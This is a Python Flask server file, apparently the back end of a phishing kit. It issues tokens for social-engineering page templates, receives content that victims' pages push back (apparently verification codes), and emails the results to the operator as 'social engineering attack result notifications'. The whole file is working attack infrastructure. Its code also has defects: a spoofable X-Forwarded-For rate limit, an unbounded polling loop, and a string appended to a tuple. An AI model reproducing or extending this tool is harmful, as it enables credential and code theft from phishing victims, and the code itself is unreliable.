import random
import string
from flask import Flask, request, send_from_directory, abort
import json
import os
import threading
import time
import requests

tokens_map = {}
limit_map_mail = {}

def limit_thread():
    while True:
        time.sleep(60)
        limit_map_mail.clear()

threading.Thread(target=limit_thread).start()

def get_random() -> str:
    # 定义可用的字符集，包括26个英文字母（大小写）和数字
    characters = string.ascii_letters + string.digits
    # 生成一个10个字符长度的随机字符串
    random_string = ''.join(random.choice(characters) for _ in range(10))
    if random_string in tokens_map.keys():
        return get_random()
    else:
        return random_string
    
def get_remote_ip(request) -> str:
    if 'X-Forwarded-For' in request.headers:
        ip = request.headers['X-Forwarded-For']
    else:
        ip = request.remote_addr
    return ip

def limit_mail_ip(ip):
    # true表示不限制
    if ip in limit_map_mail.keys():
        if limit_map_mail[ip] >= 3:
            return False
        else:
            limit_map_mail[ip] += 1
            return True
    else:
        limit_map_mail[ip] = 1
        return True
    
def long_socket(request):
    if request.method == 'POST':
        json_data = json.loads(request.data)
        token = json_data['token']
        is_long_socket = json_data['is_long_socket']
        if token in tokens_map.keys():
            if tokens_map[token]['result'] is None: # 还没有结果
                if not is_long_socket:
                    return {'status': 'ok','result': None}, 200
                else:
                    while True:
                        time.sleep(0.1)
                        if tokens_map[token]['result'] is not None:
                            result = tokens_map[token]['result']
                            result_json = {'status': 'ok','result': result}, 200
                            tokens_map[token]['result'] = None
                            is_send_mail = tokens_map[token]['need_send_mail']
                            if is_send_mail:
                                # 发送邮件
                                ip = get_remote_ip(request)
                                if limit_mail_ip(ip):
                                    r_post = requests.post("http://localhost:8025/api/v1/send_mail", data=(json.dumps({'send_to': tokens_map[token]['user_info']['email'], 'title': '验证码发送', 'subject': '社会工程学攻击结果通知', 'content': result})))
                                else:
                                    result_json['result'] += ' 但是因为你发送过于频繁，邮件未能发送。'
                            return result_json

            else:
                return {'status': 'ok','result': tokens_map[token]['result']}, 200
    else:
        return {'status': 'error','result': 'Invalid request method'},405

def push(request):
    if request.method == 'POST':
        json_obj = json.loads(request.data)
        token = json_obj['token']
        content = json_obj['content']
        if token in tokens_map.keys():
            tokens_map[token]['result'] = content
            return {'status': 'ok','result': 'Push success'}, 200
        else:
            print(json_obj)
            return {'status': 'error','result': 'Invalid token'}, 400
    else:
        return {'status': 'error','result': 'Invalid request method'},405

def social_attack(request):
    send_json = {
        "status" : '',
        "result" : ''
    }
    if request.method == 'POST':
        json_data = json.loads(request.data)
        type = json_data['type']
        token = json_data['token']
        is_send_mail = json_data['send_mail']
        print(json_data)
        if '.' in type:
            send_json = {
                "status" : 'error',
                "result" : 'Invalid type format'
            }
            return send_json, 400
        else:
            # 检查文件是否存在
            if os.path.exists(f'./socialEngine/{type}/index.html'):
                attack_token = get_random()
                # 获取操作用户的信息
                print(token)
                user_info_r = requests.post("http://127.0.0.1:5500/get_user_info", data=(json.dumps({'session_code': token})))
                print(user_info_r.text)
                tokens_map[attack_token] = {
                    'type' : type,
                    'ip' : request.remote_addr,
                    "result" : None,
                    'need_send_mail' : is_send_mail,
                    'user_info' : json.loads(user_info_r.text)['user_info']
                }
                send_json = {
                    "status" : 'ok',
                    "result" : attack_token
                }
                return send_json, 200
            else:
                send_json = {
                    "status" : 'error',
                    "result" : 'Type not found'
                }
                return send_json, 404
    else:
        send_json = {
            "status" : 'error',
            "result" : 'Invalid request method'
        }
        return send_json, 405